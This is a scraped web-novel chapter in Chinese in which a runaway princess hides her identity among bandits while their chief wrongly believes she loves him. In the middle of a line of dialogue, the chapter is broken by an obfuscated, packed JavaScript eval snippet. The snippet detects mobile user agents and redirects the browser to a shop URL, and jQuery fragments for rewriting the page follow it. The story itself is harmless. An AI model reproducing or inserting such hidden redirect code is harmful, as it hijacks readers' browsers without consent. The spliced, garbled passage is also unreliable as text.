默认冷灰
24号文字
方正启体

6. 第六章

作者:七宝要吃饱本书字数:K更新时间:
    狗皇帝......


    就算央帝是个无用的君主,但大梁也无人敢这般称呼他。


    可黑风寨的二当家就这样毫不避讳地直言,还说公主逃婚的消息会叫顾若磐高兴。


    黑风寨和皇家有仇吗?


    可她从前在宫里根本没听过黑风寨。


    “颦儿妹妹,你没被烫到吧?”


    柳红豆忙掏出帕子要给李颦擦手,半道却被穿着青色长袍的男子把帕子给抽走了,反倒换了自己的旧帕子给柳红豆。


    柳红豆羞涩地接过,低着头和李颦一起擦拭桌面。


    顾若磐见孙江把柳红豆的帕子塞自己衣襟里,嫌弃地切了一声。


    装货。


    孙江却注意到李颦,眯着眼睛咦了声:“这位娘子醒了?”


    他抱拳向李颦介绍自己:“鄙人姓孙,名江,是黑风寨的二当家。”


    “坐上头的是我们寨主,顾若磐。”他又指向柳红豆,语气轻柔了许多,“她便是我们黑风寨的三当家,柳红豆。”


    “还不知娘子怎么称呼,又是为何独自上了拂云山?”


    李颦还在犹豫的时候,柳红豆接话却很快——“颦儿妹妹的全名叫李颦,妹妹说了是木子李,‘蛾眉不可妒,况乃效其颦’的颦。”①


    “我虽不懂,但是我记性一等一的好!”柳红豆用肩膀轻轻撞了下李颦,笑眯眯地说:“我没说错吧,颦儿妹妹?”


    “李?”


    孙江看了顾若磐一眼,果真见他抬起眼皮,目光幽幽地望向李颦。


    完了!


    李颦低着头,牙齿死死咬着下唇,她就不该早早把自己的真名告诉柳红豆。……


    “李可是大梁的国姓,人人都该避讳,娘子姓李......?”


    孙江微微前倾身子,探究地看向李颦。


    李颦深吸口气,心间几经流转,只能对不起护国公了。


    大梁的护国公是世袭罔替的公侯,且被圣祖皇帝赐了李姓。


    李颦再抬头时,眼里已经盈满了泪光。


    她本来就长了张楚楚可怜的娇颜,这会儿又梨花带雨的垂泪,将人的心都要看碎了去。


    “二当家的,我确实姓李,也是从京城来的,我......我是逃婚来的!”


    “你莫非就是......!”


    孙江瞬间跳起来,手压在桌上的长刀上,作势要抽出来砍向李颦,只是李颦接下来的话让他也忍不住心生怜悯。


    “我是京城护国公府上不受宠的孙女,我家先祖是被圣祖皇帝赐了国姓的,我娘亲早早地去了,爹爹是个在府上说不上话的儿子,我们父女两个不过是府上最低的存在,宫里下了圣旨,要我们家出个女儿做端柔公主的陪嫁,一起嫁到戎狄。”


    说着李颦便呜呜地哭了起来,“祖父舍不得其他姐姐们,就舍了我,我爹爹也没有法子,只叫我安心等着陪侍公主殿下嫁去戎狄,我不愿意,可没人能帮我。”


    “我只能寻了借口出府,摆脱掉监视我的人,才带着妹妹一路逃了出来,若不是仰仗顾寨主和红豆姐姐相救,我和妹妹恐怕已经死在了荒郊野岭里。”


    李颦用帕子捂着脸,泪眼模糊地瞥向孙江的手,只见他的手终于从那把长刀上松开,她才松了口气。


    护国公家的五娘子,实在是对不住了,先用你的身份糊弄下吧。


    “我所说的句句属实,只求顾寨主、二当家和三当家的千万别将我们姐妹的所在透到京城里,我们养好伤马上就走,必不会给寨里带来麻烦。”


    孙江垂眼看向长桌,端起汤碗就一口把鸽子汤给闷了,砰的一下把碗给摔到了地上。


    他仰头长叹:“造孽啊!大梁如今已经到要卖女求荣了啊!狗皇帝和他的狗官真不是东西!”


    “颦儿妹子,你也可怜,你没有娘,那个爹......没用的爹也就当没了吧,你就安心住在我们黑风寨,我们寨里有钱,多养个你和你妹妹绰绰有余!”


    “你说是吧,寨主?”


    孙江腿一撩,凑到顾若磐身边,用肩膀拱顾若磐的胳膊。


    顾若磐往长凳后靠,面无表情地看着李颦。


    看着她那双哭红的眼睛,和睫毛上挂着的晶莹泪珠。


    他唔了声,算是应下。


    可他面上虽说平静无波,眼神却幽暗似不见底的深潭,唯独映照着李颦的眉眼。


    不得劲。


    他心里有些不得劲。


    顾若磐啧声,甩掉手里的筷子,站起身大步走出了饭堂。


    他离开的脚步迅猛,身后的披风猎猎。


    不过几步的功夫,饭堂里便不再见顾若磐的身影。


    众人都有些摸不着头脑,孙江拍了拍柳红豆的肩膀,“红豆你劝一下颦儿妹子,我去看看寨主。”


    “大江哥哥你去吧。”柳红豆搂着李颦,对着孙江点头。


    李颦吸了下鼻子,用帕子沾泪,嗡着声音,可怜兮兮地问柳红豆:“红豆姐姐,可是我惹顾寨主生气了?”


    “顾寨主和陛下......和皇家有过恩怨吗?”


    柳红豆叹息一声,安抚李颦:“颦儿妹妹莫怕,寨主他一言九鼎,答应你留下就不会赶你的,他不是生你的气,只是恨大梁动荡,恨狗皇帝无用,更恨皇家欺凌百姓。”


    李颦怯怯地垂头嗯了声,心里也在叹息。


    柳红豆这个三当家的,看起来大咧,关键时候嘴却很严,李颦打听不出来顾若磐的事情。


    顾若磐若真跟皇家有嫌隙或者瓜葛,此地也不可久留。


    看来她得快些用手作系统做出武器,让顾若磐满意,她也能在身份暴露之前,早点带着枝玉离开这里。


    “红豆姐姐,你可知顾寨主平日里惯用什么武器?”


    “妹妹问这个做什么?”


    “寨主救了我,我承诺过要做个好武器给他,当作报答他的救命之恩。”


    “颦儿妹妹竟然会做武器?!”


    “嗯......”


    “这样啊......寨主他......”


    噔——!噔——!噔——!


    孙江推开顾若磐住着的屋子门,脚刚要往里面迈,险些被扔在地上的披风给绊倒。


    他无奈地弯腰捡起披风搭在架子上,只见顾若磐光着上身,斜靠在狐毛卧榻上甩飞镖玩。


    一枚一枚的飞镖被顾若磐直直钉入墙里,他胳膊上鼓囊起的肌肉,和甩飞镖的力道,都表示他此刻很不爽。


    孙江也拿起散落在矮桌上的飞镖,跟着顾若磐一起扔,不过他功夫一般,飞镖连墙都没挨上,哐当一下掉到了地上。


    “我还以为你听到端柔公主逃跑会很高兴,现在的狗皇帝只有这一个公主,公主跑了不能和亲,戎狄可不会放过皇家,看皇家倒霉,你不是应该当饮三大白,好好庆祝一番?”


    顾若磐阴冷地勾起唇笑,“此公主非彼公主。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029357|194511||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    孙江耸耸肩,摊着手说:“哪又如何,皇家的公主不都一个样,养尊处优,恃强凌弱,想杀人便杀了,不管哪个公主私逃出宫,不都是要被扒一层皮的,说不定‘此公主’早就死在外面了,而你说的‘彼公主’总有一天会和皇家一起死翘翘。”


    养尊处优,恃强凌弱。


    顾若磐闭起双眼,耳边好似又传来母亲的喊叫声——“阿磐,跑!不要管娘!跑走了就再也不要回来!”


    “活下去!我的儿,你永远不要像娘一样,你一定要好好活下去!”


    那个坐在用黄金做成的马车里的高贵人儿,透过薄纱,他都能瞧见她额前垂落着的碧绿色宝石,还有涂着鲜红蔻丹的手指。


    那只手轻轻一挥,他的母亲便没了性命。


    他目眦欲裂地哭喊,却看到马车里的人半撩起车帘,露出那双上挑的凤眼,轻蔑又不屑地说:“把那小畜生给本公主就地处死,杀了这母子二人的,本宫保他升官加爵。”


    这人说罢便在宫女太监的簇拥下,坐着黄金马车离开了长街。


    漆黑的雨夜,冰凉急骤的暴雨打在顾若磐还年幼的身子上。


    他跑了,用尽全部的力气跑了。


    但他永远记住了冬夜冰冷的雨水,母亲倒在血泊里的身影,还有那个要置他和母亲于死地的人。


    顾若磐冷笑,睁开眼,将手里的飞镖随意往桌上扔,兴致缺缺地撑着脑袋说:“不说这个,我还真有一事要问你。”


    孙江见顾若磐表情严肃,以为是寨子有什么重大的事,忙自个儿搬了凳子坐过来,“寨主请说。”


    “你说,一个人摸你的手,摸你的胳膊,还要靠在你的胸膛前,是什么意思?”


    “啊?”


    孙江目瞪口呆,怎么也想不到顾若磐要问的是这个,这算什么事嘛!


    顾若磐踹了他一脚,催他:“说啊,你平日里天天和红豆眉来眼去的,不是最懂这个?”


    孙江摸着下巴,嘴里啧啧出声。


    “寨主你问的是个小娘子?”


    顾若磐拿起靠枕砸孙江,“你不废话吗?”


    “寨主别急嘛......”孙江暗自点头,抱着靠枕贼兮兮地看向顾若磐,“现在的小娘子都很矜持的,就算是红豆这般大气侠义的好女子,也讲究着,若是有小娘子主动摸你的手,还靠在你伟岸的胸膛上......”


    “你要死。”


    孙江说罢还探出手朝顾若磐的胸膛而去,当然被顾若磐截住,孙江讪笑,揉着被他捏青了的拳头。


    “不用想别的,这小娘子定是爱慕寨主,情难自控!”


    顾若磐挑眉,手脚舒展开,仰躺在狐毛卧榻里,低垂的眼睛被他乌黑长密的睫毛遮住了神情,嘴角却微勾。


    果然如此。


    李颦定是极爱慕自己的。


    不然为何那日在拂云山要摸他的手,还蹭他的胸膛,今日还红着脸摸他的胳膊。


    旁的娘子见了他最出格的也不过是朝他掷些瓜果,或者故意丢荷包手帕给他。


    而李颦那般胆怯的小娘子鼓起这样大的勇气,怎么不是爱惨了自己......


    这一切果真都有迹可循。


    顾若磐那张过度俊美的脸上浮现出一丝难见的忧愁。


    他该怎么做,才能又不伤害李颦这个可怜的小娘子,又能叫她放弃了爱慕自己的心思呢......


    可真愁啊。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)